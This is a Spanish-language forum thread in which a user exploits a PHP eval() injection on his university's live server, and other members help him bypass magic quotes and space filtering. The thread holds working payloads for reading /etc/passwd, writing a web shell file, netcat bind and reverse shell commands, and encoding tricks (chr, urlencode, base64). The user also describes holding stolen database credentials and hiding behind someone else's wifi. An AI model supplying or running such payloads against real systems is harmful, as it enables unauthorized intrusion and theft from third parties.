Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: tragantras en 23 Febrero 2010, 00:38 am



Título: Php injection
Publicado por: tragantras en 23 Febrero 2010, 00:38 am
Huuula, bueno, dada la pericia de los peogramadores de mi facultad, e descubierto una vulnerabilidad de tipo php injeciton, mediante un eval($_GET["x"]);

si...son así de habiles allí.... ell caso, esk que para continuar con su nivel tiene actividas las magic quotes con lo que no puedo ahcer por ejemplo     ?x=system("ls -la");       porque me escapa las comillas...

de hecho estoy muy limitado en el uso de comandos puesto que la funcion system recibe una cadena y tal y cual. Por favor sugerencias? algun tipo de bypassing?


Gracias por adelantado :)

pD: tambien me serían útiles algunos comandos (linux) que puedan ser escritos en una sola palabra, es decir sin espacios :)


Título: Re: Php injection
Publicado por: Castg! en 23 Febrero 2010, 02:50 am
proba con hexadecimal, si queres hacer un cat a /etc/passwd haces asi:

x = system((0x636174202f6574632f706173737764));

creo q tal vez podria servir...


Título: Re: Php injection
Publicado por: WHK en 23 Febrero 2010, 06:05 am
que tal si pones:
Código
  1. eval(stripslashses($_GET["x"]));


Título: Re: Php injection
Publicado por: tragantras en 23 Febrero 2010, 08:42 am
  • He probado con el método de conversion a hexadecimal... y no me funciona, por si acaso probé a poner tan solo system(ls) que en hexa queda system(0x6c73)  pero ni sikiera así me dejó, estás seguro que se puede incluir hexadecimal en la llamada a la funcion system?
  • Tambien e probado con el stripslashes pero no me funcionó, no se si me estoy confundiendo en la manera en que se aplica... ;system(stripslashes("ls -la"))   , eso es lo que puse, teniendo en cuenta que si pongo solo ;system(ls)  funciona bien  ( es decir, el punto y coma del final t lo añade el código )


no se si son errores mios, o proteccion de la web, en cualkier caso muchas gracias por ayudarme y apreciaría si pudieseis seguir haciendolo, un saludo :)

pD:  
Código:
eval("echo PERICO_".$_GET["x"].";");
ese es el código fatídico, lo pongo por si sirve de algo xD


EDITO:

He conseguido hacer un "apaño", el tema de las comillas quedó solucionado usando stripslashes como dijo whk, pero apareció un nuevo inconveniente, no podia insertar espacios, así que use la funcion chr()
en concreto, chr(32) para insertar el espacio... El problema viene ahora, se ve que no tengo privilegios suficientes ni sikiera para moverme por directorios...(obviamente tampoico para crear archivos :$ ), no se porque cuando realizo system(cat index.php) por ejemplo, en vez de mostrarme el código es como que se "inserta", pero solo el codigo html... es decir como si bajasemos el index.php con "guardar como"...

no se me ocurre nada más, dado que no puedo escribir en el directorio en el que se encuentra...alguna sugerencia? :)


Título: Re: Php injection
Publicado por: braulio-- en 23 Febrero 2010, 13:03 pm
  • He probado con el método de conversion a hexadecimal... y no me funciona, por si acaso probé a poner tan solo system(ls) que en hexa queda system(0x6c73)  pero ni sikiera así me dejó, estás seguro que se puede incluir hexadecimal en la llamada a la funcion system?
  • Tambien e probado con el stripslashes pero no me funcionó, no se si me estoy confundiendo en la manera en que se aplica... ;system(stripslashes("ls -la"))   , eso es lo que puse, teniendo en cuenta que si pongo solo ;system(ls)  funciona bien  ( es decir, el punto y coma del final t lo añade el código )


no se si son errores mios, o proteccion de la web, en cualkier caso muchas gracias por ayudarme y apreciaría si pudieseis seguir haciendolo, un saludo :)

pD: 
Código:
eval("echo PERICO_".$_GET["x"].";");
ese es el código fatídico, lo pongo por si sirve de algo xD


EDITO:

He conseguido hacer un "apaño", el tema de las comillas quedó solucionado usando stripslashes como dijo whk, pero apareció un nuevo inconveniente, no podia insertar espacios, así que use la funcion chr()
en concreto, chr(32) para insertar el espacio... El problema viene ahora, se ve que no tengo privilegios suficientes ni sikiera para moverme por directorios...(obviamente tampoico para crear archivos :$ ), no se porque cuando realizo system(cat index.php) por ejemplo, en vez de mostrarme el código es como que se "inserta", pero solo el codigo html... es decir como si bajasemos el index.php con "guardar como"...

no se me ocurre nada más, dado que no puedo escribir en el directorio en el que se encuentra...alguna sugerencia? :)

Dale a ver código fuente y probablemente el coódigo php se visualice como si fueran comentarios html.
Esto pasa porque el navegador lo que está reconociendo es html y entonces si le pasas información con html pues la parsea.


Título: Re: Php injection
Publicado por: tragantras en 23 Febrero 2010, 14:16 pm
veis pq amo tanto esta comunidad... jajaja gracias braulio :)

alguien me sabría decir como podria escribir en un php? es que he descubierto un directorio en el cual se puede escribir, habia pensado en ( pero no me va eh xD ) :


Código:
x?3;stripslashes(system('echo.chr(32).a>pagina')

es decir -> echo a > pagina       ( como ejemplo, m refiero )

la idea es.. obviamente hacer una shell algo más facilita, pq me estoy rompiendo la cabeza :)


Título: Re: Php injection
Publicado por: braulio-- en 23 Febrero 2010, 14:26 pm
Podrías hacerlo directamente desde php , pero creo que es mas fácil así :
Código:
system("echo".chr(32)."loquequierasescribir".chr(32).">shell.php");
. es el símbolo de concatenación de cadenas, supongo que sabes php.


Título: Re: Php injection
Publicado por: tragantras en 23 Febrero 2010, 15:26 pm
Podrías hacerlo directamente desde php , pero creo que es mas fácil así :
Código:
system("echo".chr(32)."loquequierasescribir".chr(32).">shell.php");
. es el símbolo de concatenación de cadenas, supongo que sabes php.


si si, algo de php si que se, el asunto es que como están activadas las magic quotes (como puse arriba), no me deja más que insertar comillas simples mediante el stripslashes y no funciona bien... ciertamente no lo entiendo, por que por ejemplo si que puedo poner   system(ls.chr(32).chr(45).la) quedando
ls -la  si que funciona, pero sin embargo si pong system(echo.chr(32).a)  (echo a) por ejemplo, que debería mostrarmelo por pantalla, no suelta nada... y no termino de cogerlo...

EDITO:

hmmm 
Código
  1. a;stripslashes(system('echo'.chr(32).'cosa>a.txt'))
así si que me deja, bueno un saludo y sigo a la escucha de posibles opciones de explotación (gracias de nuevo braulio)

PD: edito por si a alguien le interesa seguir la evolucion de un newbie xDD


Título: Re: Php injection
Publicado por: WHK en 23 Febrero 2010, 17:14 pm
nopo, esque de nada sirve ejecutar eval(stripslashses(system('ls -la'))) porque quedaría eval(stripslashses(system(\'ls -la\'))) , por eso debes ejecutarlo en la variable get:
Código:
eval(stripslashses($_GET[x]))
y fijate que va sin comillas, ahora ejecutas index.php?x=system('ls -la'); exit;


Título: Re: Php injection
Publicado por: tragantras en 23 Febrero 2010, 21:16 pm
nopo, esque de nada sirve ejecutar eval(stripslashses(system('ls -la'))) porque quedaría eval(stripslashses(system(\'ls -la\'))) , por eso debes ejecutarlo en la variable get:
Código:
eval(stripslashses($_GET[x]))
y fijate que va sin comillas, ahora ejecutas index.php?x=system('ls -la'); exit;


hmmm jaja pero quizá no m expliqué bien, el código obviamente no lo puedo modificar yo... es un servidor web, tan solo puedo explotar dicha vuln :S


Título: Re: Php injection
Publicado por: WHK en 23 Febrero 2010, 21:37 pm
ah en ese caso puedes hacer un
index.php?x=eval(stripslashses($_GET[z]));&z=echo 'x';exit;

de esta forma desde la variable x le das un nuevo eval y stripslashses y fijate que no ingresamos ninguna comilla, luego desde una segunda variable le inyectamos a todo dar :P


Título: Re: Php injection
Publicado por: Azielito en 23 Febrero 2010, 21:45 pm
no sé si te funcione aya, pero a mi me dio resultado

Código
  1. urldecode(system%28%27dir%27%29);

pasando eso por get, no se como lo modifique el foro, hice esto
Código
  1. echo urlencode("system('dir')");

ya me platicaras

PD: dice "dir" por que estoy en windows ¬¬ y que? :xD!!!


Título: Re: Php injection
Publicado por: Castg! en 24 Febrero 2010, 00:23 am
jsajajaja pero dir sirve para igual en windows que en linux...


Título: Re: Php injection
Publicado por: WHK en 24 Febrero 2010, 02:16 am
mejor
print_r(glob('*'));
print_r(glob('/temp/*'));
print_r(glob('/*'));
print_r(glob('/etc/*'));

despues lees con file
print_r(file('/etc/passwd'));


Título: Re: Php injection
Publicado por: tragantras en 24 Febrero 2010, 12:29 pm
gracias por contestar de nuevo =)

WHK

no puedo usar los print_r porque requieren cadenas, y como dije al principio están activados los magic_quotes así que no se muy bien como realizar esas operaciones, intenté con chr(39), que viene siendo la comilla simple, pero no procesa bien de esa manera...

recuerdo que el código vulnerable es el siguiente
Código
  1. eval("echo PERICO_".$_GET["x"].";");

Azielito

Ya especifiqué que el codigo no puedo modificarlo yo... se trata de una vulnerabildad, no es un foro, es una web de servicios, sin más


All

Dado que puedo lanzar system() exec() passthru() etc... se me había ocurrido lanzar un
Código
  1. nc -l -p 4444 -c /bin/shell
o una inversa
Código
  1. nc IP 4444 -c /bin/shell
pero he tenido algunos problemas haciendo una prueba local, se ve que mi router no hace correctamente la traduccion de IPs privadas a Publicas ( NAT ) asi que..., y tampoco me quiero arriesgar a dejarlo a la escucha en el servidor, que eso es facilmente detectable, además se registraría mi ip... ( que por otra parte...tampoco es mia, es una wifi de por ahi xD )

He obtenido los datos de la conexion de la base de datos, hay una mysql y una oracle, pero... el firewall está configurado para tan solo aceptar peticiones desde dentro... así que por eso me es tan importante instalar una shell dentro.


PD: no se si esto está tomando tintes para estar en el tema de hacking general... pero como aun tengo que pasar funciones mediante el eval() y el system() de php, pienso que aun tiene cabida aquí


Un saludo y gracias ^^



Título: Re: Php injection
Publicado por: braulio-- en 24 Febrero 2010, 15:31 pm
Y por qué no haces la shell con lo de system('echo tal>hola.php'); ehh? (obviamente saltandote los filtros esos que hay)


Título: Re: Php injection
Publicado por: tragantras en 24 Febrero 2010, 16:12 pm
Y por qué no haces la shell con lo de system('echo tal>hola.php'); ehh? (obviamente saltandote los filtros esos que hay)

omg no eres consciente hasta que punto se complica el asunto, no puedo insertar ni comillas, ni espacios ni simbolos raros ( como backslashes ) por ejemplo ese código que tu has puesto ahi se transforma en:

Código
  1. system(chr(39).echo.chr(32).tal.chr(62).hola.chr(46).php.chr(39))

con:    '    = chr(39)          (espacio) = chr(32)     >  = chr(62)   .   = chr(46)

con lo que intentar hacer una "shell" decente... me costaría la misma vida xD


pD: el simbolo del > si s puede introducir, pero bueno, es tan solo un caracter entre la marea de ellos


Título: Re: Php injection
Publicado por: braulio-- en 24 Febrero 2010, 17:08 pm
Recuerda que WHK te dió la forma para evadir las magic quotes,y , otra forma sería con las funciones get_file_content y put_file_content.


Título: Re: Php injection
Publicado por: tragantras en 25 Febrero 2010, 11:55 am
Recuerda que WHK te dió la forma para evadir las magic quotes,y , otra forma sería con las funciones get_file_content y put_file_content.


pues... el tema es que probando offline el codigo de WHK si que me ha funcionado, pero a la hora de implementarlo en la web no... no se porque, a ver si vosotros me echais una mano ( OTRA! xD ), os pongo el funcionamiento más "real" de la web:

  • La pagina recibe por GET el "idioma" al que quiers cambiar, es decir, $_GET["lang"] y lo almacena en una variable llamada $lang
  • Esa pagina, llamémosla changelang.php te redirecciona al index.php
  • Ya el index.php es el encargado de hacer eval("echo RECENT_".$lang.";");



no se realmente si este proceso de paso por variable local en vez de por GET altera el funcionamiento de el sistema :/


Título: Re: Php injection
Publicado por: Azielito en 25 Febrero 2010, 19:45 pm
si, te entendi, te comento que hagas uso de la funcion "urldecode" cuando mandas tu codigo x)


Título: Re: Php injection
Publicado por: ~ Yoya ~ en 25 Febrero 2010, 20:04 pm
La directiva magic_quotes_gpc solo actuan sobre las comillas simples y dobles, pueden usar urlencode para bypassearlo pero si se envia por POST o por COOKIES pueden usar usar lo que dijo WHK


Título: Re: Php injection
Publicado por: tragantras en 25 Febrero 2010, 22:08 pm
si, te entendi, te comento que hagas uso de la funcion "urldecode" cuando mandas tu codigo x)

La directiva magic_quotes_gpc solo actuan sobre las comillas simples y dobles, pueden usar urlencode para bypassearlo pero si se envia por POST o por COOKIES pueden usar usar lo que dijo WHK

OOOk, vale lo probé y efectivamente, el tema de las comillas simples y dobles lo bypassea, pero el segundo problema con el que me encuentro es que no puedo colocar NINGUN espacio en la query "system()", osea puedo poner system("dir")  ( usando todo el rollo de urlencode ) pero por ejemplo no system("ls -la") pq requiere de un espacio... obviamente puedo seguir concatenando chr(32) etc etc pero me gustaría más que el metodo de explotación, el POR QUÉ ocurre esto, que de eso se trata no? de aprender :)


un saludo y aprecio mucho vuestras respuestas :)


Título: Re: Php injection
Publicado por: ~ Yoya ~ en 25 Febrero 2010, 22:15 pm
En url encode el espacio es:
Código:
+
En ASCII es
Código:
32


Título: Re: Php injection
Publicado por: tragantras en 25 Febrero 2010, 23:38 pm
hay algo que se me escapa...

veamos....

yo pongo  
Código
  1. http://url.com/pagina.php?x=3;$cosa='mycosa';echo $cosa

y me imprime correctamente         3mycosa   (recordar que era hacia echo $_GET [ x ], asi que la variable por x tambien se imprime... )


pero sin embargo si pongo
Código
  1. http://url.com/pagina.php?x=3;$cosa='my cosa';echo $cosa
ni sikiera imprime el 3 correctamente, es decir... hay algo que impide usar espacios, sin embargo comillas simples si


edit: peude ser alguna config del servidor?


Título: Re: Php injection
Publicado por: braulio-- en 25 Febrero 2010, 23:43 pm
Pues míralo en el code, puedes usar system(cat) (creo que ya lo hiciste)


Título: Re: Php injection
Publicado por: tragantras en 25 Febrero 2010, 23:48 pm
cambiarIdioma.php

Código
  1. <?
  2. $_SESSION["pageLanguage"]=$_GET["idLanguage"];
  3. header ("Location: index.php");
  4. ?>

index.php

Código
  1. <?include("cambiarIdioma.php");
  2. define("WELCOME_ESP", "Bienvenio colega");
  3. define("WELCOME_ENG", "Welcome mate");
  4. ?>
  5. <?=eval("echo WELCOME_".$pageLanguage.";");
  6. ?>
  7.  

Ahi no parece estar el problema de los espacios no?... que config puede ser? necsitais datos del phpinfo?
PD: por cierto, obviamente no son los nombres d los arxivos esos, no soy tan malvado xD


Título: Re: Php injection
Publicado por: ~ Yoya ~ en 25 Febrero 2010, 23:52 pm
Agrega url encode...
Código:
http://url.com/pagina.php?x=3;$cosa='my cosa';echo urlencode($cosa);


Título: Re: Php injection
Publicado por: tragantras en 25 Febrero 2010, 23:55 pm
Agrega url encode...
Código:
http://url.com/pagina.php?x=3;$cosa='my cosa';echo urlencode($cosa);

Nop, no funciona... la unica manera de poder insertar espacios es chr(32) POR QUE?! xDD

Código
  1. 3;$cosa='my.chr(32).cosa';echo $cosa;

pD: esto se está convirtiendo para mi en poco menos que quebradero de cabeza

asi si funciona.... sin el urlencode, tan solo poniendo chr(32)...


Título: Re: Php injection
Publicado por: ~ Yoya ~ en 25 Febrero 2010, 23:56 pm
ps te recomiendo que lo maquetees.


Título: Re: Php injection
Publicado por: tragantras en 26 Febrero 2010, 00:41 am
ps te recomiendo que lo maquetees.


No se muy bien a que te refieres con eso...


probando la pagina tal cual en mi ordenador, firefox me adiverte de una recursión infinita, es decir... cambiarIdioma.php hace un header a index.php y éste hace un include a cambiarIdioma.... que de nuevo volvería a hacer el header y blablabla hasta el final de los tiempos.

Por qué me ocurre esto a mi offline pero online no? alguna config del server? me faltará algun trozo de php?


Título: Re: Php injection
Publicado por: braulio-- en 26 Febrero 2010, 10:07 am
Puedes codificarlo a base64 y luego descodificarlo desde el código y te saltas lo de los espacios.


Título: Re: Php injection
Publicado por: Azielito en 26 Febrero 2010, 16:19 pm
coincido con braulio
Código

podrias mirar el php.ini y/o el httpd.conf para ver que puedes y que no puedes hacer :P


Título: Re: Php injection
Publicado por: tragantras en 26 Febrero 2010, 16:43 pm
bueno, muchas gracias a todos :]

con el tema del base64_decode me las puedo ir apañando mediante el file_put_contents y tiempo libre... xD

miraré el tema del php.ini y el httd.conf a ver que puede ser, porque por ejemplo:

Código
  1. file_put_contents('cosa','?',FILE_APPEND
no me deja... es decir no me deja meter el simbolo de interrogación, pero de momento el resto de los que he probado si, '<' y cosas así si.. hmm todo un misterio! jaja


bueno repito que muchas gracias por prestarme la ayuda, cuando pueda hacer cat php.ini os lo iré poniendo por si os interesa este misterio! :]